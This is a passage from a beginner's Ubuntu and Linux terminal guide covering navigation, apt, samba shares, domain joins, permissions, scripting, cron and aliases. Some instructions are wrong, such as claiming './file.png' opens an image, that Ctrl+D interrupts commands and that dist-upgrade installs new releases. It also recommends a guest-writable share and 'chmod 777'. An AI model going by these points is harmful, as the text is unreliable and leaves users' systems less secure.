directory and display the name of the folder you are currently browsing. As you
learn commands, it helps to write them down as to better internalize their use.
Managing Directories

Directories, another name for folders, work the same as they do in other
operating systems. Folders hold files, and you must be currently accessing a
directory in order to interact with the files inside of it. You can use the terminal
command “cd” to change directory and move about the file system. As an
example, typing “cd Desktop” from the Home folder will transfer you to that
folder. Now using “ls” will not show anything (unless you added files to the
desktop). To back out, type “cd ..”. Practice navigating around the file system
in this fashion; cd into a directory and ls to view the files.

Because you are typing commands, Linux expects your input to be exact.
If you misspell a command it will simply not work, and if you type a folder or
file incorrectly it will try to reference something that does not exist. Watch your
input carefully when using the terminal.

Opening a file is done with a different command – “.”. The period is used
to start the specified file, so if you were attempting to open a picture it could be
done like so: “./house.png”. Both the period and the slash are necessary, as it
denotes that you are running a file within the current directory. When you run a
file it will be opened with the default application assigned to the file type, so in
the case of a picture it will most likely be opened in an image viewer.

You can also create and remove directories and files through terminal as
well. For this example navigate to the Home directory. As a shortcut you can
type “cd ~” to change the directory to your Home, because the tilde key is short
for “the current user’s home”. Make a directory with the “mkdir” command;
type, “mkdir Programming” to create a new folder with that title. You can CD
into it, or you can go to the GUI and enter it to prove that you have indeed
created a new folder. Now remove that directory by going Home and typing
“rmdir Programming”. Without hesitation, Linux will remove the specified
directory. Similarly, using “rm” will remove the specified file.

Linux has a design philosophy that many users are not used to. In
Windows and OSX, the OS will almost always double check that you want to
commence with an action such as deleting a file or uninstalling a program.
Linux distributions believe that if you are imitating an event, you definitely
mean to follow through with it. It will not typically confirm deleting something,
nor will it display any confirmation messages (file successfully deleted). Rather,
the absence of a message indicates the process completed successfully. While
the philosophy is somewhat dangerous (because you could potentially ruin your
OS installation without warning), it serves as a design contrast to other operating
systems. Linux gives you complete control, and it never tries to hide anything or
obscure options because they might be too complicated. It takes some time to
get used to, but most users agree it is a welcome change to be respected by the
technology they own.

This does not compromise security, however, because any critical action
requires the “sudo” command as a preface. Sudo stands for “super user do”,
meaning that the user of the highest permissions is requesting the following
command. Any sudo entry will require an administrator password, so malicious
software or un-intending keyboard spammers cannot accidently do damage
without knowing the password first. A lot of the commands we use in this book
require sudo permissions, so if the command fails to complete with a message
explaining it does not have enough permissions you can retry with sudo.
Apt

Learning the terminal opens up computer functions that are not available
through the GUI. Also, you can shorten the amount of time it takes to do many
things by typing it instead. Take, for instance, the amount of work required
installing a program. If you wanted to download the Google Chromium browser,
you would have to open the software center, type in the name of the program,
locate the correct package, mark it for installation, and execute the action.
Compare that to typing “sudo apt-get install chromium-browser” into the
terminal. With that one command, Ubuntu will save you many minutes.

Apt (advanced packaging tool) is the command associated with managing

applications in Ubuntu. Other distributions may use their own tool, but apt is
commonly used for its large repositories and simple commands. Packages are
installed with the “apt-get install” formatting, where you specify the name of the
program you wish to install. In the example above we specify the Chromium
program with the package name “chromium-browser”. Given that you do not
know every package name, there is another command “apt-cache search” that
can be used to locate package names matching the supplied string. So “apt-
cache search chromium” would show “chromium-browser”, and you could
specify the correct name to install.

The usefulness of apt extends beyond that, as you can use it to update
every single application on your system with a few commands. Use “apt-get
update” to refresh the repository, then use “apt-get upgrade” to have every
application upgrade itself to the newest version. Windows OS users should be
envious at this easy process, because updating a Windows programs requires
uninstalling and reinstalling with the newest version.
 As time goes by, you might need to update the Ubuntu version. Every
year there is a new release, and it can be installed with “apt-get dist-upgrade”.
Staying up to date with the newest fixes and additions ensures your Linux
system will be working healthy for a long time. You might have even noticed
that installing and updating the system does not require a reboot; a feature that
contributes to Linux computer’s lengthy uptimes and stability. Lastly, removing
an application is done with “apt-get remove” followed by the package name.

To run the programs that we install we can either search for them from the
dash, or we can just type the package name into the terminal. Typing
“chromium-browser” will launch it just the same as double clicking its icon
would. Some programs must be started from the command line by typing the
package name exclusively because the package does not show up in a dash
search. Overall utilizing the terminal is a time-saver and a great way to practice
moving away from slow and cumbersome graphical user interfaces.

Easy installation and management of packages is a Linux feature that

becomes highly useful- master it to improve your experience. There is a third
method of installing packages, and it involves downloading and launching .deb
files from the Internet. Some software are bundled in that format, and they act
similar to .exe files in that they just need to be double clicked to begin the
installation process.
More Terminal Commands

Here are a few more basic terminal commands that you should internalize and
put to use in your system. Fully understanding the basics will provide a decent
foundation upon which to build on later.

cp – “cp image1.jpg image2.jpg” – copies (and renames) the first

parameter to the second supplied parameter. Copy directories
with the –r switch.

mv – “mv cat.jpg /home/Pictures” – Move the specified file to the

given directory.

shutdown – “shutdown –h now” – shuts down the computer. –h

is a tag meaning “halt”, but you can also use –r to restart. Now
refers to the time until it executes.

date – “date” – Displays the current date and time.

free – “free –g” – Show the current RAM usage of programs.

 du – “du –h” – Give the HDD usage.

ps – “ps” – Show the active processes using CPU time.

touch – “touch memo.txt” – Used to create a new blank file in the

current directory with the specified name.

ifconfig – “ifconfig” – The Linux equivalent of ipconfig, it shows

network information.

Some commands have “tags” or “switches” associated with them. These are
the letters preceded by dashes. They all do different things, and learning which
switches to use for what purpose is best found through that command’s manual
pages. See the advanced section for opening the manual.

One of the most useful programs from the command line, nano is a simple
text editor that can be used to edit files and quickly make changes to settings or
scripts. It is accessed by typing “nano” into a command line. You can type a file
as needed and then press ctrl+x to save and quit. As you save, you will give it
the name and file extension associated with it; notes.txt will create a text file
with the name “notes”. Alternatively, you can edit a file by typing “nano
notes.txt”. In that example, we open notes in the editor and display its contents
in an editable state.
 Nano may be very simple, but it is undoubtedly powerful and a time saver for
quick changes and file creation.
Connecting to Windows / Mac Computers

Windows and OSX computers have built-in networking functions such as

workgroups, domains, shares, and more. Integrating Linux computers into the
network infrastructure that has been dominated by Windows server computers is
fairly easy, though, and correct setup will allow you to see Windows shares as
well as join corporate domains.

The first step to intercommunication is installing the “samba” package.

Either find it through the software center, or type in “sudo apt-get install samba”
to obtain and install the necessary software.

Sharing files from your Ubuntu machine to other computers involves

creating a samba share. Samba runs off of the same protocols that other popular
file sharing methods use, so files shared from the Ubuntu machine can easily be
seen on Windows. After installing samba, use “sudo nano /etc/samba/smb.conf”
to start editing the configuration file. At the very bottom of the file add these
lines:

[share]

comment = File Share from Ubuntu

 path = /srv/samba/share

browsable = yes

guest ok = yes

read only = no

create mask = 0755

Now, create the folder specified in “path” (sudo mkdir -p

/srv/samba/share) and set permissions (sudo chown nobody:nogroup
/srv/samba/share/) so that anybody can access its contents. Place any files you
want to share within that directory, and then restart the service (sudo restart
smbd, sudo restart nmbd) to make the share active. Lastly, log on to your other
computer and navigate to the network shares. In Windows, they will appear in
the left panel of file explorer. If the share does not appear automatically, type the
IP into the file path box (find Ubuntu IP with ifconfig). You are now able to
access Ubuntu’s files from other operating systems.

You might also need to see files from other operating systems in the
Ubuntu computer. Firstly, open the Ubuntu file explorer. From the menu bar,
click “files”, and then select “connect to server”. In the resulting box, type the
URL of the share you wish to access. It could be an ftp address
(ftp://ftp.test.com), an http address (http://test.com), or a share address
(smb://share/Folder). Without any additional hardware or setup, you can see the
files this way.

Finally, joining a domain such as Active Directory allows your computer

to interact with other operating systems on the network and achieve other
business-oriented tasks. Whether you have a small home network, or whether
you are adding Linux computers to a corporate domain, the process is the same.
Install a few extra packages (realmd, sssd, sssd-tools, samba-common, samba-
common-bin, samba-libs, krb5-user, adcli, packagekit). While installing them, it
will ask for your domain name. Enter it in all caps. Enter “kinit -V adminname”
replacing that with an actual admin account name in the domain. After entering
the password you will have been authenticated to the domain. Now joining it is
done with “realm –-verbose join -U adminmame domainname.loc”.

If it fails, it means the DNS is misconfigured on our device. Type “echo

‘ad_hostname = nix01.domainname.loc’ >> /etc/sssd/sssd.conf”, then “echo
‘dyndns_update = True’ >> /etc/sssd/sssd.conf” and finally use “service sssd
restart” to restart with those new settings. The first line sets the FQDN of our
computer, so the line needs to be changed according to our domain settings.
After a successful restart with correctly configured settings the terminal will
claim it has joined the domain. Test this with “realm list”. Now connected to
AD you can administer the Linux device from your server!

For most users, however, creating shares and joining domains is far
beyond the connectivity needs. Simple file sharing is much better done through
USB drive transfers or a service such as Dropbox. Indeed Dropbox can be
installed on the big three operating systems and files can be synced between
them with no additional setup. On Ubuntu either download the .deb file directly
from the website, install it from the software center, or use “sudo apt-get install
nautilus-dropbox” to obtain the application. Within the Dropbox folder, place
any files that you wish to transfer between computers and it will automatically
be downloaded and updated on all other Dropbox computers you own.

Using other operating systems is not complicated when you connect them
together. So long as the computers are on the same network you can create file
shares, join them into a domain, or use a simple service such as Dropbox.
Useful Applications

Here is a list of the best Applications for your Ubuntu system that will help
you get the most out of your computer.

Office Productivity – Abiword, VI, Emacs, LibreOffice, nano

Multimedia – VLC, DeaDBeef, Cmus, AquaLung, MPlayer, Miro

Web Browsing – Firefox, Chromium, Midori, W3M

Creativity – Aud

acity, GIMP

Other – Kupfer, Thunderbird, qBittorrent

And for programs that help with usability, there are so many varied choices
that it depends on what you are trying to accomplish. The best way to discover a
program is to search on the internet for a functionality you wish to add. For
example, if you are searching for a quick way to open and close the terminal you
might come across the program “Guake”. Or if you are wanting audio within the
terminal it might recommend “Cmus”. Finding the perfect applications for you
is part of the customization aspect of Linux, and it makes every install a little
more personal for each user.
Administration

If you are looking for a “Control Panel” of sorts, you can find shortcuts to
administrative tools such as network, printing, keyboard, appearance, and more
from within the “System Settings” application. Some Ubuntu variants use
“Settings Manager” or just “Settings” for the same purpose.

After launching it there will be links to other default configuration

applications; just click on whichever you need to change to obtain a GUI for
settings a few options. But not everything administrative is found through the
GUI. Most low-level settings are only available through the command line, and
as such you will need to know exactly what to type to edit them.

As an example, adding a new user to Ubuntu requires the “adduser”

command. By following the command with a username, the terminal will
prompt for basic information and a password. Setting that new user to be an
administrator is done with “usermod -aG sudo nameofuser”. Moreover a user
can be deleted with “deluser”. These options are difficult to find through GUI
but can be done in seconds with a terminal.

“Task Manager”, or the administration of running applications within

Ubuntu is done through the terminal as well. The program “top” is standardly
installed on all distributions (mostly), and starting it displays a list of all
currently running processes as per task manager. By default though, the list of
processes will be updated and moving around in such a way that it might be
difficult to read the data we need. Press the “f” button to bring up a sorting list,
navigate to “PID” with the arrow keys and press “s” to set over that option.
Now use escape to return to top and we can now scroll through the list with
page-up and page-down to view the tasks. Say, for instance, we want to close
the program “Pidgin” because it is unresponsive. Find it in the list (or search for
it with the above filtering commands) and take note of the PID (Process ID)
number. Press “q” to quit top, then type “kill 4653” obviously replacing the
number with the PID. At any time within top you can press “h” to see a list of
keyboard shortcuts for various actions. If top is too difficult to use consider
installing “htop”, a “human readable” version of the program. It actually shows
neat ASCII graphs detailing CPU, RAM, and other usage statistics. Search for a
program with F3, then use F9 and Enter to kill it.

As for services, you might have noticed we use the “service” command to
change their status. So starting a web server would be done with “service
apache2 start”, restarting it done by replacing start with restart, and stopping it
by replacing start with stop. Finding a list of services is done with “service –-
status-all”. Services are daemons, or background tasks that are continuously
running. They can be gathering data, running a service such as Bluetooth and
Wi-Fi, or waiting for user interaction.
Security Protocols

Linux has a focus on security in general, which contributes to its use in

corporate and server settings. Taking advantage of the security protocols means
that you are more secure than other operating systems and less likely to have
your computer compromised. This requires good security principals, of course,
and always being safe online. A computer without a password is hardly
protected at all.

One feature brought over from UNIX is file permissions. Every file has a
set of permission- the owner, group, and rights. The command “chown” changes
the owner of a file, “chgrp” changes the group, and “chmod” changes the rights
associated with the file. Discovering the permissions of a file or folder is done
by typing “ls -l filename”. It will return an initially confusing line such as “- rw-
rw- r--”. “R” means read, “W” stands for write, and the third option is “X” for
execute. The three sets are respectively owner, group, and other. So our
example file above has read and write permissions set for the owner and its
group, but only read permissions for other users. This means that the owner and
the group he belongs to (most likely sudo users) have permission to both access
the file and change its contents, but other users on the network or PC can only
view the contents and not edit it. Script files will need to have the X in order to
be executed, and without it they cannot be run.

Most people will only need to use the “chmod” command to change the
permissions of files they wish to use. We use the command and a set of numbers
to set the permission of the file. “chmod 777 test.sh” makes the file readable,
writable, and executable by all users anywhere because each specification
(owner, group, other) has the number 7 attached to it. Numbers determine the
permissions that entity has, and the number used is calculated like so:
 Start with the number 0.
Add 4 for adding readability.
Add 2 for write-ability.
Add 1 for executable-ness.
The number you have left determines the permissions.

6 would be read/write, but 1 would only be executable. 5 would be readable

and executable, but not changeable. In our 777 example, we set owner, group,
and others to all be 7. This is not particularly good security, because that means
anybody anywhere can mess with that file. A more conservative permission set
would be 775. Use security permissions advantageously for secure computing.

Security within Linux expands beyond just permissions. Ensure that you
practice good security practices, and that you are following common sense in
regards to security- install only needed programs, do not follow all internet
advice, do not use sudo too often, use passwords, use encrypted networks, keep
software up to date, encrypt important files, and make regular backups. As a
final word of advice, look into using a distribution with SELinux, a module that
supports AC and other security policies.
Scripting

Bash is the “programming language” or the terminal. When we type a

command, we are doing so within bash. A script is a list of bash commands that
execute in order, meaning we can create a script with a list of commands and run
it to save time or automate terminal tasks that we normally have to type. As an
intermediate and advanced Linux administrator, you can use scripts to greatly
shorten the amount of work required for repetitive or constantly running tasks.

To start a script, create a new file “script.sh” within nano. The first line
must always be “#!/bin/bash” to mark it as a bash script. Type the following
lines for your first script.

echo “What is your name?”

read name

echo “Hey, $name. Here is your current directory, followed by the files.”

Pwd
Ls

Save the script. Now we have to set the permissions to allow it to be run.
Use “sudo chmod 777 script.sh”, and then run the script with “./script.sh”. So
long as you copied the script exactly, it will ask for your name and then show
you your directory and files. Take the concept and expand it further in your own
scripts. You can run commands from installed programs as well, so you can
write a script that automatically joins a domain, or one that connects to the
network specified. Shutting down remote computers is a great automatic task as
well.

Scripts can either be run manually or set to execute at certain times. To

run a certain script every time the user logs in, open the “startup applications”
program from dash and create a new app with the script as the source. Now
every time that user logs in the script will run automatically. This is useful for
setting up certain options or starting background services without requiring the
user to do it themselves.

Scheduling tasks for a certain time can be done with the Cron system
daemon. It is installed be default on some systems, but if not “sudo apt-get
install cron” can be used. Start the service with “service cron start” and create a
new crontab file with “crontab -e”. Select nano as your text editor. At the
bottom of the created file, add a new line with our scheduled task. The format
goes as follows:

minute, hour, day, month, weekday, command

 And we format it with these options to specify when to run the command.
Time numbers start with 0, so the hours range from 0 to 23 and minutes are from
0 to 59. Replace any option with an asterick to specify that it will run on any
value. Pay attention to these examples:

0 12 * * * ~/script.sh

This will run the script.sh found in the Home directory every day at noon.

30 18 25 12 * /usr/bin/scripts/test.sh

And this will run test.sh within the /usr/bin/scripts directory at 6:30 on
Christmas day every year.

Conclusively, scripting and automating scripts are fantastic ways to take

administrative control of regularly occurring tasks. Continue writing scripts, or
look up examples online to see how your computing experience can be made
easier with bash.
Advanced Terminal Concepts

Mastering Linux comes down to intimate comprehension of the tools

available in the OS and how to utilize them. Many of the topics discussed in this
chapter will focus on more tasks and how to accomplish them, or a few QOL
improvements to the OS in general.

Compression and decompression of files often confuses Linux beginners.

The tools are typically already installed, but the command line must be used.
Furthermore, the strange .tar and .gz file-types are Linux-specific formats that
you might often come across. All files can be unzipped or zipped with the gzip
tool. Preinstalled on Ubuntu, we access it with the “tar” command. To compress
a folder and the files contained within, navigate to it in terminal and type “tar –
czvf name.tar.gz foldername”. C stands for “create”, z means “compress (gzip)”,
v is for “verbose”, and f allows filename specification. If you want more
compression (but at the cost of time), zip the folder with gzip2 by replacing the –
z switch with the –j switch instead.

Now extracting that same archive can be done with “tar –xzvf
name.tar.gz”. You will notice that the –c was replaced with an –x, and this
indicates extraction. Once again if you are dealing with bzip2 files use the –j
switch instead.

Continuing with advanced terminal concepts, let us talk about a few

quality tips and tricks that can save you time in the terminal. When typing a
command or file name, press tab halfway through. This feature, tab completion,
will guess what you are attempting to type and fill in the rest of the phrase. For
files it will complete the name as shown in the directory, or complete a command
by considering what you are trying to do. Linux experts and anyone that has to
use the terminal regularly may seem as though they are typing exactly what they
want with extreme accuracy and speed, but they are actually just using tab
completion.

Users, especially administrators, will spend a decent amount of time with

the sudo command because their instructions require elevated privileges to run.
But when typing out a long command and forgetting to type sudo, you will be
angered at having to type it again. Instead simply type “sudo !!”, shorthand for
“super user do again”. It generously saves from typing an entire command
again.

Another method of repeating commands is to use the up and down

arrows. Pressing up continuously cycles through previously typed commands.
You can also edit the commands with the left and right arrows to change the text
contained within.

And the most requested terminal tip involves copy and pasting.
Attempting to paste a line into the terminal results in the strange character ^v.
The keyboard shortcut is not configured to work in the terminal, and that is why
the strange combination is displayed. To actually paste, right click and select the
option; or use the key combination shift+insert. Copy in the same way, but with
ctrl+insert instead. While it might be okay to copy and paste terminal
commands from the Internet (provided you understand the risk and know what
they are doing in the command), do not try to paste from this publication. The
formatting introduced through the medium in which you are reading it might
have inserted special characters that are not recognized by the terminal, so it is
best if you do not copy and paste, but rather you should type manually any
commands presented.

Linux has a hidden feature that not many users know about. Files are
displayed to the user when you visit that directory or type ls, but actually not all
of the files are viewable this way. In Linux if you name a file with a period as
the first character it will be marked as hidden. Hidden files are not normally
visible by common users, and it acts as a way to protect configuration files from
accidental editing/deleting/so forth. To see those files, we only need to add the –
a tag to our ls search. In the GUI press ctrl+h in a directory to reveal the secret
content. And as you create scripts and other configuration files consider hiding
them with the period as a form of user protection.

Any command within terminal can be interrupted or quit with the ctrl+d
key combination. Use it to stop a lengthy process or to exit out of a
program/command that you do not understand.

Aliasing is a way to create your own personal shortcuts within the

terminal. Instead of typing a long command or a bunch of smaller commands
aliases can be used to combine them into a single user defined option. Just as
the name implies, aliases are different names for anything you specify. Every
alias is contained within a hidden config file- begin editing it with “nano
~/.bashrc”. Because it exists within the user’s home directory every alias will be
pertinent only to that user. At the bottom of the file we can begin creating alias
as per the following example:

alias gohome=’cd ~ && ls’

 This alias will change the directory to home and display the contents by
typing “gohome”. When creating aliases you must follow the formatting
presented above exactly, meaning there is no space between the command and
the equal sign. Multiple commands are strung together inside the single quotes
separated by “&&”. For more robust aliases, add a function instead. The
following example combines cd and ls into a single command.

function cdls () {

cd "$@" && ls
}

After writing your aliases, save the file and restart the computer. Your
new commands are then available for use.

That file we edit, .bashrc, is the configuration file for the Ubuntu
terminal. Besides making aliases we can also use it to customize our terminal
settings, such as color, size, etc... A quick tip is to uncomment the
“#force_color_prompt=yes” by removing the # and ensuring “yes” is after the
equals. This adds color to the terminal, making certain words different colors.
More options are available when you open a terminal, right click on it, and select
profiles followed by profile preferences. Through the tabs here you can
customize the font, size, colors, background colors, and much more.
Customization of the terminal is recommended if you are going to be using it a
lot, because it helps to be comfortable with the tools you will work with.
I/O Redirection

During normal terminal command execution, “normal input” (typed by the

user, or read from a file/attribute/hardware) is entered and parsed by the
command. Sometimes the command has “standard output” as well, which is the
return text shown in the terminal. In “ls”, the standard input is the current
working directory, and the standard output is the contents of the folder.

Input and output are normally direct, but by using I/O redirection we can
do more with the terminal. As an example, the “cat” command (concatenate)
followed by a file will output that file to the screen. Running cat by itself opens
a parser where any line that is input will be immediately output (use ctrl+d) to
quit. But with I/O redirection hotkeys (<, >, <<, >>, |) we can redirect the output
to another source, such as a file. And “cat > test.txt” will now put the standard
output in that new file. Double signs signify appending, so “cat >> test.txt” will
place the output at the end of the file rather than erasing the contents at the
beginning.

The vertical line character, or the “pipe”, uses another form of I/O
redirection to take the output of one command and directly insert it into the input
of another. “ls | sort –r” would take the output of ls and sort it into a backwards
list. We redirected the output and gave it to another command to accomplish
this.

And finally, the “grep” command is used very often within I/O redirection.
Grep can search for a certain string within a specified file and return the results
to standard output. Using redirection, this output can be put into other
commands. An interesting feature of Linux to note is that object is a file, even
hardware. So our CPU is actually a file that stores relevant data inside of it, and
we can use grep and other tools to search within it. That example is fairly
advanced, but here is a simpler instance:

“grep Conclusion report.txt”

And it will search within the file for that specific word. I/O redirection
can become a complicated process with all of the new symbols and commands,
but it is a feature that you can incorporate into your scripts and daily use that
often allows for certain features and functions of Linux to be done in a single
line.

Linux and the terminal are difficult concepts to fully master. But with
practice and continuing dedication you will be able to perform masterful feats of
computing and do helpful tasks that are not possible in Windows or OSX.
Learning more about commands and how to use them certainly helps in this
regard, so persist in your studies of new commands and their use. Positively the
only command you actually need to memorize is “man”, a command that will
show the manual pages and documentation of any other command specified.
The manual pages show switches, examples, and the intended use of every
command on your system. Use the tool to your advantage and gain intimate
knowledge of your system.
More Linux Information

To continue learning about Linux and the possibilities it can provide,

consider the examples in this section. It will briefly discuss more uses for Linux,
and a few other concepts that have yet to be talked about.

The “Linux file system” refers to the main layout of the files and folders
on your computer. If you continue to “cd ..” in the terminal, or if you click the
back button on the GUI until it goes no further you will stumble upon the “root”
directory. The folders here, bin, boot, etc, usr, and so on are how your hardware
and settings are configured. Each folder has a specific purpose and use, and you
can understand them by exploring the contents. As an example, user data is
stored in home, but user programs are stored in usr. Because of how diverse and
complicated the file system actually is it will not be discussed here, but if you
wish to learn more do an Internet search or read the documentation associated
with your operating system.

Linux systems are often used for purposes other than desktop use.
Dedicated machines run variants of Linux because of the power and stability it
provides. Even our cars have a Linux kernel running to keep track of error codes
and help mechanics.

Servers often have Linux installed because of reliability and the functions
the distributions have within them. For instance, Linux machines are used as
firewalls because the “iptables” application provides excellent port blocking and
intelligent filtering. You yourself can run a firewall on your system with the
application as well, thus gaining business-level software for free. In this way,
Linux is also great for networking. The machine can act as a switch, router,
DNS server, DHCP server, and more just by installing the relevant applications.

And finally, Linux systems are not limited to the interfaces we have seen
insofar. Every distro has its preferred desktop environment, but the interface can
be extremely customized to the individual’s preference. There are even file and
web browsers for the terminal, which is greatly helpful for those using SSH or
remote computing. All-in-all, you should try out different DE’s by installing
them and configuring them to your liking.
What Next and Conclusion

How you continue depends on what you want to do with your Linux
distribution. For casual browsing and simple use, continue with Ubuntu and
install the programs you need. For more adventurous people, consider installing
a new distribution to see what each has to offer. Those wishing to learn even
more deeply about Linux can install one such as Arch or DSL to build their own
unique OS from scratch. Administrators and power users can install a server
version of a distro to build their own Linux network, or they can consider
changing over their environment from other operating systems to entirely free
ones.

Conclusively, Linux is a powerful and relatively easy to use set of

operating systems. But their real potential comes from the hard-to-master
terminal and command line functions. Thank you for reading this publication,
and I hope that it has shed some light on the mysterious subject of the defacto
alternative operating system. If Linux has confused you or did not live up to
expectations, I implore you to take a second look at the features it can offer.
While it may not have the same caliber of games or 3rd party proprietary
software, the OS is simple and customizable enough to be used as a primary OS
with maybe Windows or OSX as a secondary OS. Alternatives exist for just
about every program, so if it is possible to get rid of Microsoft and Apple
entirely, it is highly recommended you do so. Thank you again, and make good
use of your new Linux knowledge.
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About the Author

Isaac D. Cody is a proud, savvy, and ethical hacker from New York City. After
receiving a Bachelors of Science at Syracuse University, Isaac now works for a
mid-size Informational Technology Firm in the heart of NYC. He aspires to
work for the United States government as a security hacker, but also loves
teaching others about the future of technology. Isaac firmly believes that the
future will heavily rely computer "geeks" for both security and the successes of
companies and future jobs alike. In his spare time, he loves to analyze and
scrutinize everything about the game of basketball.